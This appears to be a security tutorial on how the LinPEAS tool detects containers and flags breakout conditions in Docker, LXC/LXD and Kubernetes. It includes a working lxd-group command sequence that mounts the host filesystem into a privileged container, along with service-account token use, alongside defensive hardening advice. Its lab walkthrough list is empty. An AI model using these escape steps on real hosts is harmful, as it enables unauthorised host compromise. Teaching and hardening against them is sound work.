Quick answer

LinPEAS detects several container runtimes (Docker, LXC/LXD, containerd), reports whether you are inside one, lists mounted tokens and writable bind mounts, and evaluates conditions that enable breaking out to the host. Container escalation has two goals: root inside the container, and breakout to the host — LinPEAS helps with both.

How LinPEAS detects you are in a container#

LinPEAS combines several signals rather than trusting one:

  • /proc/1/cgroup containing docker, lxc, kubepods or similar strings.
  • The /.dockerenv marker file (Docker only).
  • container=lxc in /proc/1/environ (LXC).
  • Mountinfo entries referencing overlay filesystems and runtime sockets.
  • Presence of runtime tooling: docker, runc, containerd, crictl, lxc.
Reproduce container detection
cat /proc/1/cgroup
ls -la /.dockerenv 2>/dev/null
grep -qa container=lxc /proc/1/environ && echo 'LXC detected'
cat /proc/self/mountinfo | grep -E 'docker|containerd|overlay' | head

Runtime-by-runtime: what LinPEAS checks#

Docker

Covered in depth on LinPEAS in Docker: socket mounts, --privileged, capabilities, host mounts and shared namespaces.

LXC / LXD

LXC containers share the host kernel with weaker isolation than Docker by default. LinPEAS flags LXC context and the checks that matter most here are group memberships: a user in the lxd group can create a privileged container with the host filesystem attached — a well-known path to host root:

lxd group → host filesystem access (lab)
# authorised lab only: user in the lxd group, host you own
lxc image import ubuntu.tar.gz --alias privesc  # or use a local image
lxc init privesc evil -c security.privileged=true
lxc config device add evil hostdisk disk source=/ path=/mnt/root recursive=true
lxc start evil && lxc exec evil -- sh   # host filesystem at /mnt/root

containerd / Kubernetes

LinPEAS detects containerd runtimes and flags mounted service-account tokens (/var/run/secrets/kubernetes.io/serviceaccount/token). A token lets you talk to the Kubernetes API as that service account — in a lab, inspect what it can do with kubectl --token=$(cat token) auth can-i --list. Over-permissive tokens and hostPath volumes are the Kubernetes analogues of Docker breakout conditions.

Inside first, out second: the two escalation goals#

Note

Container escalation has two goals: root inside the container, and breakout to the host. LinPEAS helps with both, but breakout depends on specific misconfigurations — verify before acting.

Inside the container, all the normal Linux vectors still apply — LinPEAS runs its full check set: SUID binaries, sudo, cron, writable files, credentials. Many container images ship outdated packages with known CVEs, so do not skip the standard triage just because you are in a container. Only once you have container root (or the right capabilities/groups) does the breakout analysis begin.

GoalTypical pathLinPEAS signal
Root inside containerSUID binary, writable cron, kernel CVEStandard red/yellow findings
Breakout via daemonMounted docker.sock/var/run/docker.sock is mounted!
Breakout via privileges--privileged, CAP_SYS_ADMINPrivileged mode / CapEff lines
Breakout via groupsdocker / lxd membershipInteresting groups section
Breakout via mountsHost path bind-mounted writableWritable bind mounts / mountinfo
K8s lateral movementService-account tokenMounted token path

Lab walkthrough: from container shell to host (authorised lab)#

Set up a VM you own running Docker, launch a deliberately misconfigured container (mounted socket or --privileged), and practise the Docker escape techniques there. The discipline that matters:

  1. 1

  2. 2

  3. 3

Authorised use only

Practise only against container hosts you own or purpose-built labs. Escaping a container you do not own is unauthorised access to the host.

How to fix container findings (defensive)#

  • Run workloads as non-root (USER in Dockerfiles); enable user namespaces.
  • Drop all capabilities and add back only what is needed; never --privileged in production.
  • Never mount the Docker socket or host paths into application containers.
  • Keep the docker and lxd groups tiny — treat membership like sudo.
  • In Kubernetes: least-privilege RBAC, no hostPath volumes, Pod Security Standards enforced.
  • Rebuild images regularly and re-run LinPEAS inside staging containers after changes.

Image hygiene: stop findings at build time#

Most container findings LinPEAS reports are baked in at docker build time. Fix them in the Dockerfile and the runtime findings disappear:

  • Start from minimal base images (distroless, slim) — fewer packages, fewer SUID binaries, fewer CVEs.
  • Set a non-root USER; never leave the default root user in production images.
  • Remove package managers, shells and SUID binaries you do not need (find / -perm -4000 -delete patterns in build).
  • Pin base image digests and rebuild regularly — stale images accumulate kernel-userspace CVEs.
  • Do not bake secrets into layers — every layer is retrievable; use build secrets or runtime injection.
  • Scan the image in CI (Trivy, Grype) and run LinPEAS inside a staging container before deploy.

Nested containers and edge cases#

  • Docker-in-Docker (CI runners) intentionally mounts the socket — LinPEAS will flag it; that is expected, but scope who can reach that runner.
  • Privileged sidecars (logging, monitoring) are sometimes legitimate — document the justification and restrict their blast radius.
  • A container that detects no runtime signals may be on podman, kata or gVisor — stronger isolation, but the in-container Linux vectors still apply.
  • When LinPEAS reports nothing container-specific on a cloud VM, check the cloud section instead — you may be on the host, not in a container.

Quick detection one-liners#

Container detection without LinPEAS
# am I in a container? (any 'yes' is a signal)
grep -qa docker /proc/1/cgroup && echo container
test -f /.dockerenv && echo docker
grep -qa container=lxc /proc/1/environ && echo lxc
# which runtime tooling exists?
which docker runc containerd crictl lxc 2>/dev/null
# service account token (Kubernetes)?
ls -l /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null

If every check comes back empty and LinPEAS agrees, you are on the host (or the isolation is unusually good) — pivot your methodology to cloud and standard host vectors.

Concepts: what containers are, namespaces. Deep dive: LinPEAS in Docker.

Sources & references

  1. linPEAS README
  2. PEASS-ng release — reviewed 20260908-dffb9496
  3. HackTricks: Linux privilege escalation